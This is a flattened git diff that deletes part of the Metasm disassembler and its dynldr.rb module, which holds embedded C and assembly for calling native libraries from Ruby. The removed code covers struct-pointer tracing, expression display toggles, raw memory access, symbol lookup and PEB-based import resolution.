- yield(di, b, nil, trace_state) - end - } - @cpu.instr_args_regs(di).each { |r| - r = r.symbolic - if not update.has_key?(r) - yield(di, r, nil, trace_state) - end - } - - update.each { |r, v| - trace_state = trace_state.dup - if v - # cannot follow non-registers, or we would have to emulate every single - # instruction (try following [esp+4] across a __stdcall..) - trace_state[r] = v if r.kind_of?(::Symbol) - else - trace_state.delete r - end - } - when :subfunc - faddr = args[1] - f = @function[faddr] - f = @function[f.backtrace_binding[:thunk]] if f and f.backtrace_binding[:thunk] - if f - binding = f.backtrace_binding - if binding.empty? - backtrace_update_function_binding(faddr) - binding = f.backtrace_binding - end - # XXX fwdemu_binding ? - binding.each { |r, v| - if v.externals.find { |e| trace_state[e] } - if r.kind_of?(::Symbol) - trace_state = trace_state.dup - trace_state[r] = Expression[v.bind(trace_state)].reduce - end - elsif trace_state[r] - trace_state = trace_state.dup - trace_state.delete r - end - } - end - when :merge - # when merging paths, keep the smallest common state subset - # XXX may have unexplored froms - conflicts = args[2] - trace_state = trace_state.dup - conflicts.each { |addr, st| - trace_state.delete_if { |k, v| st[k] != v } - } - end - trace_state = false if trace_state.empty? - trace_state - } - end - - # define a register as a pointer to a structure - # rename all [reg+off] as [reg+struct.member] in current function - # also trace assignments of pointer members - def trace_update_reg_structptr(addr, reg, structname, structoff=0) - sname = soff = ctx = nil - expr_to_sname = lambda { |expr| - if not expr.kind_of?(Expression) or expr.op != :+ - sname = nil - next - end - - sname = expr.lexpr || expr.rexpr - soff = (expr.lexpr ? expr.rexpr : 0) - - if soff.kind_of?(Expression) - # ignore index in ptr array - if soff.op == :* and soff.lexpr == @cpu.size/8 - soff = 0 - elsif soff.rexpr.kind_of?(Expression) and soff.rexpr.op == :* and soff.rexpr.lexpr == @cpu.size/8 - soff = soff.lexpr - elsif soff.lexpr.kind_of?(Expression) and soff.lexpr.op == :* and soff.lexpr.lexpr == @cpu.size/8 - soff = soff.rexpr - end - elsif soff.kind_of?(::Symbol) - # array with 1 byte elements / pre-scaled idx? - if not ctx[soff] - soff = 0 - end - end - } - - lastdi = nil - trace_function_register(addr, reg => Expression[structname, :+, structoff]) { |di, r, val, trace| - - next if r.to_s =~ /flag/ # XXX maybe too ia32-specific? - - ctx = trace - @cpu.instr_args_memoryptr(di).each { |ind| - # find the structure dereference in di - b = @cpu.instr_args_memoryptr_getbase(ind) - b = b.symbolic if b - next unless trace[b] - imm = @cpu.instr_args_memoryptr_getoffset(ind) || 0 - - # check expr has the form 'traced_struct_reg + off' - expr_to_sname[trace[b] + imm] # Expr#+ calls Expr#reduce - next unless sname.kind_of?(::String) and soff.kind_of?(::Integer) - next if not st = c_parser.toplevel.struct[sname] or not st.kind_of?(C::Union) - - # ignore lea esi, [esi+0] - next if soff == 0 and not di.backtrace_binding.find { |k, v| v-k != 0 } - - # TODO if trace[b] offset != 0, we had a lea reg, [struct+substruct_off], tweak str accordingly - - # resolve struct + off into struct.membername - str = st.name.dup - mb = st.expand_member_offset(c_parser, soff, str) - # patch di - imm = imm.rexpr if imm.kind_of?(Expression) and not imm.lexpr and imm.rexpr.kind_of?(ExpressionString) - imm = imm.expr if imm.kind_of?(ExpressionString) - @cpu.instr_args_memoryptr_setoffset(ind, ExpressionString.new(imm, str, :structoff)) - - # check if the type is an enum/bitfield, patch instruction immediates - trace_update_reg_structptr_arg_enum(di, ind, mb, str) if mb - } if lastdi != di.address - lastdi = di.address - - next Expression[structname, :+, structoff] if di.address == addr and r == reg - - # check if we need to trace 'r' further - val = val.reduce_rec if val.kind_of?(Expression) - val = Expression[val] if val.kind_of?(::String) - case val - when Expression - # only trace trivial structptr+off expressions - expr_to_sname[val] - if sname.kind_of?(::String) and soff.kind_of?(::Integer) - Expression[sname, :+, soff] - end - - when Indirection - # di is mov reg, [ptr+struct.offset] - # check if the target member is a pointer to a struct, if so, trace it - expr_to_sname[val.pointer.reduce] - - next unless sname.kind_of?(::String) and soff.kind_of?(::Integer) - - if st = c_parser.toplevel.struct[sname] and st.kind_of?(C::Union) - pt = st.expand_member_offset(c_parser, soff, '') - pt = pt.untypedef if pt - if pt.kind_of?(C::Pointer) - tt = pt.type.untypedef - stars = '' - while tt.kind_of?(C::Pointer) - stars << '*' - tt = tt.type.untypedef - end - if tt.kind_of?(C::Union) and tt.name - Expression[tt.name + stars] - end - end - - elsif soff == 0 and sname[-1] == ?* - # XXX pointer to pointer to struct - # full C type support would be better, but harder to fit in an Expr - Expression[sname[0...-1]] - end - # in other cases, stop trace - end - } - end - - # found a special member of a struct, check if we can apply - # bitfield/enum name to other constants in the di - def trace_update_reg_structptr_arg_enum(di, ind, mb, str) - if ename = mb.has_attribute_var('enum') and enum = c_parser.toplevel.struct[ename] and enum.kind_of?(C::Enum) - # handle enums: struct moo { int __attribute__((enum(bla))) fld; }; - doit = lambda { |_di| - if num = _di.instruction.args.grep(Expression).first and num_i = num.reduce and num_i.kind_of?(::Integer) - # handle enum values on tagged structs - if enum.members and name = enum.members.index(num_i) - num.lexpr = nil - num.op = :+ - num.rexpr = ExpressionString.new(Expression[num_i], name, :enum) - _di.add_comment "enum::#{ename}" if _di.address != di.address - end - end - } - - doit[di] - - # mov eax, [ptr+struct.enumfield] => trace eax - if reg = @cpu.instr_args_regs(di).find { |r| v = di.backtrace_binding[r.symbolic] and (v - ind.symbolic) == 0 } - reg = reg.symbolic - trace_function_register(di.address, reg => Expression[0]) { |_di, r, val, trace| - next if r != reg and val != Expression[reg] - doit[_di] - val - } - end - - elsif mb.untypedef.kind_of?(C::Struct) - # handle bitfields - - byte_off = 0 - if str =~ /\+(\d+)$/ - # test byte [bitfield+1], 0x1 => test dword [bitfield], 0x100 - # XXX little-endian only - byte_off = $1.to_i - str[/\+\d+$/] = '' - end - cmt = str.split('.')[-2, 2].join('.') if str.count('.') > 1 - - doit = lambda { |_di, add| - if num = _di.instruction.args.grep(Expression).first and num_i = num.reduce and num_i.kind_of?(::Integer) - # TODO handle ~num_i - num_left = num_i << add - s_or = [] - mb.untypedef.members.each { |mm| - if bo = mb.bitoffsetof(c_parser, mm) - boff, blen = bo - if mm.name && blen == 1 && ((num_left >> boff) & 1) > 0 - s_or << mm.name - num_left &= ~(1 << boff) - end - end - } - if s_or.first - if num_left != 0 - s_or << ('0x%X' % num_left) - end - s = s_or.join('|') - num.lexpr = nil - num.op = :+ - num.rexpr = ExpressionString.new(Expression[num_i], s, :bitfield) - _di.add_comment cmt if _di.address != di.address - end - end - } - - doit[di, byte_off*8] - - if reg = @cpu.instr_args_regs(di).find { |r| v = di.backtrace_binding[r.symbolic] and (v - ind.symbolic) == 0 } - reg = reg.symbolic - trace_function_register(di.address, reg => Expression[0]) { |_di, r, val, trace| - if r.kind_of?(Expression) and r.op == :& - if r.lexpr == reg - # test al, 42 - doit[_di, byte_off*8] - elsif r.lexpr.kind_of?(Expression) and r.lexpr.op == :>> and r.lexpr.lexpr == reg - # test ah, 42 - doit[_di, byte_off*8+r.lexpr.rexpr] - end - end - next if r != reg and val != Expression[reg] - doit[_di, byte_off*8] - _di.address == di.address && r == reg ? Expression[0] : val - } - end - end - end - - # change Expression display mode for current object o to display integers as char constants - def toggle_expr_char(o) - return if not o.kind_of?(Renderable) - tochars = lambda { |v| - if v.kind_of?(::Integer) - a = [] - vv = v.abs - a << (vv & 0xff) - vv >>= 8 - while vv > 0 - a << (vv & 0xff) - vv >>= 8 - end - if a.all? { |b| b < 0x7f } - s = a.pack('C*').inspect.gsub("'") { '\\\'' }[1...-1] - ExpressionString.new(v, (v > 0 ? "'#{s}'" : "-'#{s}'"), :char) - end - end - } - o.each_expr { |e| - if e.kind_of?(Expression) - if nr = tochars[e.rexpr] - e.rexpr = nr - elsif e.rexpr.kind_of?(ExpressionString) and e.rexpr.type == :char - e.rexpr = e.rexpr.expr - end - if nl = tochars[e.lexpr] - e.lexpr = nl - elsif e.lexpr.kind_of?(ExpressionString) and e.lexpr.type == :char - e.lexpr = e.lexpr.expr - end - end - } - end - - def toggle_expr_dec(o) - return if not o.kind_of?(Renderable) - o.each_expr { |e| - if e.kind_of?(Expression) - if e.rexpr.kind_of?(::Integer) - e.rexpr = ExpressionString.new(Expression[e.rexpr], e.rexpr.to_s, :decimal) - elsif e.rexpr.kind_of?(ExpressionString) and e.rexpr.type == :decimal - e.rexpr = e.rexpr.reduce - end - if e.lexpr.kind_of?(::Integer) - e.lexpr = ExpressionString.new(Expression[e.lexpr], e.lexpr.to_s, :decimal) - elsif e.lexpr.kind_of?(ExpressionString) and e.lexpr.type == :decimal - e.lexpr = e.lexpr.reduce - end - end - } - end - - # patch Expressions in current object to include label names when available - # XXX should we also create labels ? - def toggle_expr_offset(o) - return if not o.kind_of? Renderable - o.each_expr { |e| - next unless e.kind_of?(Expression) - if n = @prog_binding[e.lexpr] - e.lexpr = n - elsif e.lexpr.kind_of? ::Integer and n = get_label_at(e.lexpr) - add_xref(normalize(e.lexpr), Xref.new(:addr, o.address)) if o.respond_to? :address - e.lexpr = n - end - if n = @prog_binding[e.rexpr] - e.rexpr = n - elsif e.rexpr.kind_of? ::Integer and n = get_label_at(e.rexpr) - add_xref(normalize(e.rexpr), Xref.new(:addr, o.address)) if o.respond_to? :address - e.rexpr = n - end - } - end - - # toggle all ExpressionStrings - def toggle_expr_str(o) - return if not o.kind_of?(Renderable) - o.each_expr { |e| - next unless e.kind_of?(ExpressionString) - e.hide_str = !e.hide_str - } - end - - # call this function on a function entrypoint if the function is in fact a __noreturn - # will cut the to_subfuncret of callers - def fix_noreturn(o) - each_xref(o, :x) { |a| - a = normalize(a.origin) - next if not di = di_at(a) or not di.opcode.props[:saveip] - # XXX should check if caller also becomes __noreturn - di.block.each_to_subfuncret { |to| - next if not tdi = di_at(to) or not tdi.block.from_subfuncret - tdi.block.from_subfuncret.delete_if { |aa| normalize(aa) == di.address } - tdi.block.from_subfuncret = nil if tdi.block.from_subfuncret.empty? - } - di.block.to_subfuncret = nil - } - end - - # find the addresses of calls calling the address, handles thunks - def call_sites(funcaddr) - find_call_site = proc { |a| - until not di = di_at(a) - if di.opcode.props[:saveip] - cs = di.address - break - end - if di.block.from_subfuncret.to_a.first - while di.block.from_subfuncret.to_a.length == 1 - a = di.block.from_subfuncret[0] - break if not di_at(a) - a = @decoded[a].block.list.first.address - di = @decoded[a] - end - end - break if di.block.from_subfuncret.to_a.first - break if di.block.from_normal.to_a.length != 1 - a = di.block.from_normal.first - end - cs - } - ret = [] - each_xref(normalize(funcaddr), :x) { |a| - ret << find_call_site[a.origin] - } - ret.compact.uniq - end - - # loads a disassembler plugin script - # this is simply a ruby script instance_eval() in the disassembler - # the filename argument is autocompleted with '.rb' suffix, and also - # searched for in the Metasmdir/samples/dasm-plugins subdirectory if not found in cwd - def load_plugin(plugin_filename) - if not File.exist?(plugin_filename) - if File.exist?(plugin_filename+'.rb') - plugin_filename += '.rb' - elsif defined? Metasmdir - # try autocomplete - pf = File.join(Metasmdir, 'samples', 'dasm-plugins', plugin_filename) - if File.exist? pf - plugin_filename = pf - elsif File.exist? pf + '.rb' - plugin_filename = pf + '.rb' - end - end - end - - instance_eval File.read(plugin_filename) - end - - # same as load_plugin, but hides the @gui attribute while loading, preventing the plugin do popup stuff - # this is useful when you want to load a plugin from another plugin to enhance the plugin's functionnality - # XXX this also prevents setting up kbd_callbacks etc.. - def load_plugin_nogui(plugin_filename) - oldgui = gui - @gui = nil - load_plugin(plugin_filename) - ensure - @gui = oldgui - end - - # compose two code/instruction's backtrace_binding - # assumes bd1 is followed by bd2 in the code flow - # eg inc edi + push edi => - # { Ind[:esp, 4] => Expr[:edi + 1], :esp => Expr[:esp - 4], :edi => Expr[:edi + 1] } - # XXX if bd1 writes to memory with a pointer that is reused in bd2, this function has to - # revert the change made by bd2, which only works with simple ptr addition now - # XXX unhandled situations may be resolved using :unknown, or by returning incorrect values - def compose_bt_binding(bd1, bd2) - if bd1.kind_of? DecodedInstruction - bd1 = bd1.backtrace_binding ||= cpu.get_backtrace_binding(bd1) - end - if bd2.kind_of? DecodedInstruction - bd2 = bd2.backtrace_binding ||= cpu.get_backtrace_binding(bd2) - end - - reduce = lambda { |e| Expression[Expression[e].reduce] } - - bd = {} - - bd2.each { |k, v| - bd[k] = reduce[v.bind(bd1)] - } - - # for each pointer appearing in keys of bd1, we must infer from bd2 what final - # pointers should appear in bd - # eg 'mov [eax], 0 mov ebx, eax' => { [eax] <- 0, [ebx] <- 0, ebx <- eax } - bd1.each { |k, v| - if k.kind_of? Indirection - done = false - k.pointer.externals.each { |e| - # XXX this will break on nontrivial pointers or bd2 - bd2.each { |k2, v2| - # we dont want to invert computation of flag_zero/carry etc (booh) - next if k2.to_s =~ /flag/ - - # discard indirection etc, result would be too complex / not useful - next if not Expression[v2].expr_externals.include? e - - done = true - - # try to reverse the computation made upon 'e' - # only simple addition handled here - ptr = reduce[k.pointer.bind(e => Expression[[k2, :-, v2], :+, e])] - - # if bd2 does not rewrite e, duplicate the original pointer - if not bd2[e] - bd[k] ||= reduce[v] - - # here we should not see 'e' in ptr anymore - ptr = Expression::Unknown if ptr.externals.include? e - else - # cant check if add reversion was successful.. - end - - bd[Indirection[reduce[ptr], k.len]] ||= reduce[v] - } - } - bd[k] ||= reduce[v] if not done - else - bd[k] ||= reduce[v] - end - } - - bd - end - - def gui_hilight_word_regexp(word) - @cpu.gui_hilight_word_regexp(word) - end - - # return a C::AllocCStruct from c_parser - # TODO handle program.class::Header.to_c_struct - def decode_c_struct(structname, addr) - if c_parser and edata = get_edata_at(addr) - c_parser.decode_c_struct(structname, edata.data, edata.ptr) - end - end - - def decode_c_ary(structname, addr, len) - if c_parser and edata = get_edata_at(addr) - c_parser.decode_c_ary(structname, len, edata.data, edata.ptr) - end - end - - # find the function containing addr, and find & rename stack vars in it - def name_local_vars(addr) - if @cpu.respond_to?(:name_local_vars) and faddr = find_function_start(addr) - @function[faddr] ||= DecodedFunction.new # XXX - @cpu.name_local_vars(self, faddr) - end - end -end -end diff --git a/lib/metasm/metasm/dynldr.rb b/lib/metasm/metasm/dynldr.rb deleted file mode 100644 index 67ef531509..0000000000 --- a/lib/metasm/metasm/dynldr.rb +++ /dev/null @@ -1,1418 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# This sample creates the dynldr.so ruby shared object that allows interaction with -# native libraries -# x86 only for now - -module Metasm -class DynLdr - # basic C defs for ruby internals - 1.8 and 1.9 compat - x86/x64 - RUBY_H = <<EOS -#line #{__LINE__} -typedef uintptr_t VALUE; - -#if defined(__PE__) && defined(__x86_64__) - // sonovabeep - #define INT2VAL(v) rb_ull2inum(v) - #define VAL2INT(v) rb_num2ull(v) -#else - #define INT2VAL(v) rb_uint2inum(v) - #define VAL2INT(v) rb_num2ulong(v) -#endif - -struct rb_string_t { - VALUE flags; - VALUE klass; - VALUE len; - char *ptr; - union { - long capa; - VALUE shared; - } aux; -}; -#define RString(x) ((struct rb_string_t *)(x)) - -struct rb_array_t { - VALUE flags; - VALUE klass; - VALUE len; - union { - long capa; - VALUE shared; - } aux; - VALUE *ptr; -}; -#define RArray(x) ((struct rb_array_t *)(x)) - -// TODO improve autoimport to handle data imports correctly -extern VALUE *rb_cObject __attribute__((import)); -extern VALUE *rb_eRuntimeError __attribute__((import)); -extern VALUE *rb_eArgError __attribute__((import)); - -// allows generating a ruby1.9 dynldr.so from ruby1.8 -#ifndef DYNLDR_RUBY_19 -#define DYNLDR_RUBY_19 #{RUBY_VERSION >= '1.9' ? 1 : 0} -#endif - -#if #{RUBY_VERSION >= '2.0' ? 1 : 0} -// flonums. WHY? -// also breaks Qtrue/Qnil -#define rb_float_new rb_float_new_in_heap -#endif - -#if DYNLDR_RUBY_19 - #define T_STRING 0x05 - #define T_ARRAY 0x07 - #define T_FIXNUM 0x15 - #define T_MASK 0x1f - #define RSTRING_NOEMBED (1<<13) - #define STR_PTR(o) ((RString(o)->flags & RSTRING_NOEMBED) ? RString(o)->ptr : (char*)&RString(o)->len) - #define STR_LEN(o) ((RString(o)->flags & RSTRING_NOEMBED) ? RString(o)->len : (RString(o)->flags >> 14) & 0x1f) - #define RARRAY_EMBED (1<<13) - #define ARY_PTR(o) ((RArray(o)->flags & RARRAY_EMBED) ? (VALUE*)&RArray(o)->len : RArray(o)->ptr) - #define ARY_LEN(o) ((RArray(o)->flags & RARRAY_EMBED) ? ((RArray(o)->flags >> 15) & 3) : RArray(o)->len) -#else - #define T_STRING 0x07 - #define T_ARRAY 0x09 - #define T_FIXNUM 0x0a - #define T_MASK 0x3f - #define STR_PTR(o) (RString(o)->ptr) - #define STR_LEN(o) (RString(o)->len) - #define ARY_PTR(o) (RArray(o)->ptr) - #define ARY_LEN(o) (RArray(o)->len) -#endif - -#define TYPE(x) (((VALUE)(x) & 1) ? T_FIXNUM : (((VALUE)(x) & 3) || ((VALUE)(x) < 7)) ? 0x40 : RString(x)->flags & T_MASK) - -VALUE rb_uint2inum(VALUE); -VALUE rb_ull2inum(unsigned long long); -VALUE rb_num2ulong(VALUE); -unsigned long long rb_num2ull(VALUE); -VALUE rb_str_new(const char* ptr, long len); // alloc + memcpy + 0term -VALUE rb_ary_new2(int len); -VALUE rb_float_new(double); - -VALUE rb_intern(char *); -VALUE rb_funcall(VALUE recv, VALUE id, int nargs, ...); -VALUE rb_const_get(VALUE, VALUE); -VALUE rb_raise(VALUE, char*, ...); -void rb_define_const(VALUE, char *, VALUE); -void rb_define_method(VALUE, char *, VALUE (*)(), int); -void rb_define_singleton_method(VALUE, char *, VALUE (*)(), int); - -EOS - - # generic C source for the native component, ruby glue - DYNLDR_C = <<EOS -#{RUBY_H} -#line #{__LINE__} - -#ifdef __PE__ - __stdcall uintptr_t LoadLibraryA(char *); - __stdcall uintptr_t GetProcAddress(uintptr_t, char *); - - #define os_load_lib(l) LoadLibraryA(l) - #define os_load_sym(l, s) GetProcAddress(l, s) - #define os_load_sym_ord(l, s) GetProcAddress(l, (char*)s) -#endif - -#ifdef __ELF__ - asm(".pt_gnu_stack rw"); - - #define RTLD_LAZY 1 - uintptr_t dlopen(char*, int); - uintptr_t dlsym(uintptr_t, char*); - - #define os_load_lib(l) dlopen(l, RTLD_LAZY) - #define os_load_sym(l, s) dlsym(l, s) - #define os_load_sym_ord(l, s) 0U -#endif - -extern int *cb_ret_table; -extern void *callback_handler; -extern void *callback_id_0; -extern void *callback_id_1; - -static VALUE dynldr; - - -static VALUE memory_read(VALUE self, VALUE addr, VALUE len) -{ - return rb_str_new((char*)VAL2INT(addr), (long)VAL2INT(len)); -} - -static VALUE memory_read_int(VALUE self, VALUE addr) -{ - return INT2VAL(*(uintptr_t*)VAL2INT(addr)); -} - -static VALUE memory_write(VALUE self, VALUE addr, VALUE val) -{ - if (TYPE(val) != T_STRING) - rb_raise(*rb_eArgError, "mem_write needs a String"); - - char *src = STR_PTR(val); - char *dst = (char*)VAL2INT(addr); - unsigned len = (unsigned)STR_LEN(val); - while (len--) - *dst++ = *src++; - return val; -} - -static VALUE memory_write_int(VALUE self, VALUE addr, VALUE val) -{ - *(uintptr_t *)VAL2INT(addr) = VAL2INT(val); - return 1; -} - -static VALUE str_ptr(VALUE self, VALUE str) -{ - if (TYPE(str) != T_STRING) - rb_raise(*rb_eArgError, "Invalid ptr"); - return INT2VAL((uintptr_t)STR_PTR(str)); -} - -// return the VALUE of an object (different of .object_id for Symbols, maybe others) -static VALUE rb_obj_to_value(VALUE self, VALUE obj) -{ - return INT2VAL((uintptr_t)obj); -} - -// return the ruby object at VALUE -// USE WITH CAUTION, passing invalid values will segfault the interpreter/GC -static VALUE rb_value_to_obj(VALUE self, VALUE val) -{ - return VAL2INT(val); -} - -// load a symbol from a lib byname, byordinal if integral -static VALUE sym_addr(VALUE self, VALUE lib, VALUE func) -{ - uintptr_t h, p; - - if (TYPE(lib) == T_STRING) - h = os_load_lib(STR_PTR(lib)); - else if (TYPE(lib) == T_FIXNUM) - h = VAL2INT(lib); - else - rb_raise(*rb_eArgError, "Invalid lib"); - - if (TYPE(func) != T_STRING && TYPE(func) != T_FIXNUM) - rb_raise(*rb_eArgError, "Invalid func"); - - if (TYPE(func) == T_FIXNUM) - p = os_load_sym_ord(h, VAL2INT(func)); - else - p = os_load_sym(h, STR_PTR(func)); - - return INT2VAL(p); -} - -#ifdef __i386__ - -__int64 do_invoke_stdcall(unsigned, unsigned, unsigned*); -__int64 do_invoke_fastcall(unsigned, unsigned, unsigned*); -__int64 do_invoke(unsigned, unsigned, unsigned*); -double fake_float(void); - -// invoke a symbol -// args is an array of Integers -// flags: 1 stdcall 2 fastcall 4 ret_64bits 8 ret_float -// TODO float args -static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) -{ - if (TYPE(args) != T_ARRAY || ARY_LEN(args) > 64) - rb_raise(*rb_eArgError, "bad args"); - - uintptr_t flags_v = VAL2INT(flags); - uintptr_t ptr_v = VAL2INT(ptr); - unsigned i, argsz; - uintptr_t args_c[64]; - __int64 ret; - - argsz = ARY_LEN(args); - for (i=0U ; i<argsz ; ++i) - args_c[i] = VAL2INT(ARY_PTR(args)[i]); - - if (flags_v & 2) - ret = do_invoke_fastcall(ptr_v, argsz, args_c); // supercedes stdcall - else if (flags_v & 1) - ret = do_invoke_stdcall(ptr_v, argsz, args_c); - else - ret = do_invoke(ptr_v, argsz, args_c); - - if (flags_v & 4) - return rb_ull2inum((unsigned __int64)ret); - else if (flags_v & 8) - // fake_float does nothing, to allow the compiler to use ST(0) - // which was in fact set by ptr_v() - return rb_float_new(fake_float()); - - return INT2VAL((unsigned)ret); -} - -// this is the function that is called on behalf of all callbacks -// we're called through callback_handler (asm), itself called from the unique -// callback generated by callback_alloc -// heavy stack magick at work here ! -// TODO float args / float retval / ret __int64 -uintptr_t do_callback_handler(uintptr_t ori_retaddr, uintptr_t caller_id, uintptr_t arg0, uintptr_t arg_ecx __attribute__((register(ecx))), uintptr_t arg_edx __attribute__((register(edx)))) -{ - uintptr_t *addr = &arg0; - unsigned i, ret; - VALUE args = rb_ary_new2(10); - - // __fastcall callback args - ARY_PTR(args)[0] = INT2VAL(arg_ecx); - ARY_PTR(args)[1] = INT2VAL(arg_edx); - - // copy our args to a ruby-accessible buffer - for (i=2U ; i<10U ; ++i) - ARY_PTR(args)[i] = INT2VAL(*addr++); - RArray(args)->len = 10U; // len == 10, no need to ARY_LEN/EMBED stuff - - ret = rb_funcall(dynldr, rb_intern("callback_run"), 2, INT2VAL(caller_id), args); - - // dynldr.callback will give us the arity (in bytes) of the callback in args[0] - // we just put the stack lifting offset in caller_id for the asm stub to use - caller_id = VAL2INT(ARY_PTR(args)[0]); - - return VAL2INT(ret); -} - -#elif defined __amd64__ - -uintptr_t do_invoke(uintptr_t, uintptr_t, uintptr_t*); -double fake_float(void); - -// invoke a symbol -// args is an array of Integers -// flags: 1 stdcall 2 fastcall 4 ret_64bits 8 ret_float -// TODO float args -static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) -{ - if (TYPE(args) != T_ARRAY || ARY_LEN(args) > 16) - rb_raise(*rb_eArgError, "bad args"); - - uintptr_t flags_v = VAL2INT(flags); - uintptr_t ptr_v = VAL2INT(ptr); - int i, argsz; - uintptr_t args_c[16]; - uintptr_t ret; - uintptr_t (*ptr_f)(uintptr_t, ...) = (void*)ptr_v; - - argsz = (int)ARY_LEN(args); - for (i=0 ; i<argsz ; ++i) - args_c[i] = VAL2INT(ARY_PTR(args)[i]); - - for (i=argsz ; i<16 ; ++i) - args_c[i] = 0; - - if (argsz <= 4) - ret = ptr_f(args_c[0], args_c[1], args_c[2], args_c[3]); - else - ret = ptr_f(args_c[0], args_c[1], args_c[2], args_c[3], - args_c[4], args_c[5], args_c[6], args_c[7], - args_c[8], args_c[9], args_c[10], args_c[11], - args_c[12], args_c[13], args_c[14], args_c[15]); - - if (flags_v & 8) - return rb_float_new(fake_float()); - - return INT2VAL(ret); -} - -uintptr_t do_callback_handler(uintptr_t cb_id __attribute__((register(rax))), - uintptr_t arg0, uintptr_t arg1, uintptr_t arg2, uintptr_t arg3, - uintptr_t arg4, uintptr_t arg5, uintptr_t arg6, uintptr_t arg7) -{ - uintptr_t ret; - VALUE args = rb_ary_new2(8); - VALUE *ptr = ARY_PTR(args); - - RArray(args)->len = 8; - ptr[0] = INT2VAL(arg0); - ptr[1] = INT2VAL(arg1); - ptr[2] = INT2VAL(arg2); - ptr[3] = INT2VAL(arg3); - ptr[4] = INT2VAL(arg4); - ptr[5] = INT2VAL(arg5); - ptr[6] = INT2VAL(arg6); - ptr[7] = INT2VAL(arg7); - - ret = rb_funcall(dynldr, rb_intern("callback_run"), 2, INT2VAL(cb_id), args); - - return VAL2INT(ret); -} -#endif - -int Init_dynldr(void) __attribute__((export_as(Init_<insertfilenamehere>))) // to patch before parsing to match the .so name -{ - dynldr = rb_const_get(rb_const_get(*rb_cObject, rb_intern("Metasm")), rb_intern("DynLdr")); - rb_define_singleton_method(dynldr, "memory_read", memory_read, 2); - rb_define_singleton_method(dynldr, "memory_read_int", memory_read_int, 1); - rb_define_singleton_method(dynldr, "memory_write", memory_write, 2); - rb_define_singleton_method(dynldr, "memory_write_int", memory_write_int, 2); - rb_define_singleton_method(dynldr, "str_ptr", str_ptr, 1); - rb_define_singleton_method(dynldr, "rb_obj_to_value", rb_obj_to_value, 1); - rb_define_singleton_method(dynldr, "rb_value_to_obj", rb_value_to_obj, 1); - rb_define_singleton_method(dynldr, "sym_addr", sym_addr, 2); - rb_define_singleton_method(dynldr, "raw_invoke", invoke, 3); - rb_define_const(dynldr, "CALLBACK_TARGET", -#ifdef __i386__ - INT2VAL((VALUE)&callback_handler)); -#elif defined __amd64__ - INT2VAL((VALUE)&do_callback_handler)); -#endif - rb_define_const(dynldr, "CALLBACK_ID_0", INT2VAL((VALUE)&callback_id_0)); - rb_define_const(dynldr, "CALLBACK_ID_1", INT2VAL((VALUE)&callback_id_1)); - return 0; -} -EOS - - # see the note in compile_bin_module - # this is a dynamic resolver for the ruby symbols we use - DYNLDR_C_PE_HACK = <<EOS -#line #{__LINE__} - -void* get_peb(void); - -// check if the wstr s1 contains 'ruby' (case-insensitive) -static void *wstrcaseruby(short *s1, int len) -{ - int i = 0; - int match = 0; - char *want = "ruby"; // cant contain the same letter twice - - while (i < len) { - if (want[match] == (s1[i] | 0x20)) { // downcase cmp - if (match == 3) - return s1+i-match; - } else - match = 0; - if (want[match] == (s1[i] | 0x20)) - ++match; - ++i; - } - - return 0; -} - -asm(".text"); // TODO fix compiler -#ifdef __x86_64__ -asm("get_peb: mov rax, gs:[60h] ret"); -#endif -#ifdef __i386__ -asm("get_peb: mov eax, fs:[30h] ret"); - -// 1st arg for ld_rb_imp == Init retaddr -asm("Init_dynldr: call load_ruby_imports jmp Init_dynldr_real"); -#endif - -struct _lmodule { - struct _lmodule *next; // list_head - void *; void *; void*; void*; void*; - uintptr_t base, entry, size; - short; short; short*; - short len, maxlen; - short *basename; -}; - -struct _peb { - void*; void*; void*; - struct { - int; int; void*; - struct _lmodule *inloadorder; // list_head - } *ldr; -}; - -// find the ruby library in the loaded modules list of the interpreter through the PEB -static uintptr_t find_ruby_module_peb(void) -{ - struct _lmodule *ptr; - void *base; - struct _peb *peb = get_peb(); - - base = &peb->ldr->inloadorder; - ptr = ((struct _lmodule *)base)->next; - ptr = ptr->next; // skip the first entry = ruby.exe - while (ptr != base) { - if (wstrcaseruby(ptr->basename, ptr->len/2)) - return ptr->base; - ptr = ptr->next; - } - - return 0; -} - -// find the ruby library from an address in the ruby module (Init_dynldr retaddr) -static uintptr_t find_ruby_module_mem(uintptr_t someaddr) -{ - // could __try{}, but with no imports we're useless anyway. - uintptr_t ptr = someaddr & (-0x10000); - while (*((unsigned __int16 *)ptr) != 'ZM') // XXX too weak? - ptr -= 0x10000; - return ptr; -} - -// a table of string offsets, base = the table itself -// each entry is a ruby function, whose address is to be put inplace in the table -// last entry == 0 -extern void *ruby_import_table; - -__stdcall uintptr_t GetProcAddress(uintptr_t, char *); -// resolve the ruby imports found by offset in ruby_import_table -int load_ruby_imports(uintptr_t rbaddr) -{ - uintptr_t ruby_module; - uintptr_t *ptr; - char *table; - - static int loaded_ruby_imports = 0; - if (loaded_ruby_imports) - return 0; - loaded_ruby_imports = 1; - - if (rbaddr) - ruby_module = find_ruby_module_mem(rbaddr); - else - ruby_module = find_ruby_module_peb(); - - if (!ruby_module) - return 0; - - ptr = &ruby_import_table; - table = (char*)ptr; - - while (*ptr) { - if (!(*ptr = GetProcAddress(ruby_module, table+*ptr))) - // TODO warning or something - return 0; - ptr++; - } - - return 1; -} - -#ifdef __x86_64__ -#define DLL_PROCESS_ATTACH 1 -int DllMain(void *handle, int reason, void *res) -{ - if (reason == DLL_PROCESS_ATTACH) - return load_ruby_imports(0); - return 1; -} -#endif -EOS - - # ia32 asm source for the native component: handles ABI stuff - DYNLDR_ASM_IA32 = <<EOS -.text -do_invoke_fastcall: - push ebp - mov ebp, esp - - // load ecx/edx, fix arg/argcount - mov eax, [ebp+16] - mov ecx, [eax] - mov edx, [eax+4] - add eax, 8 - mov [ebp+16], eax - - mov eax, [ebp+12] - sub eax, 2 - jb _do_invoke_call - jmp _do_invoke_copy - -do_invoke: -do_invoke_stdcall: - push ebp - mov ebp, esp - mov eax, [ebp+12] -_do_invoke_copy: - // make room for args - shl eax, 2 - jz _do_invoke_call - sub esp, eax - // copy args - push esi - push edi - push ecx - mov ecx, [ebp+12] - mov esi, [ebp+16] - mov edi, esp - add edi, 12 - rep movsd - pop ecx - pop edi - pop esi - // go -_do_invoke_call: - call dword ptr [ebp+8] - leave -fake_float: - ret - 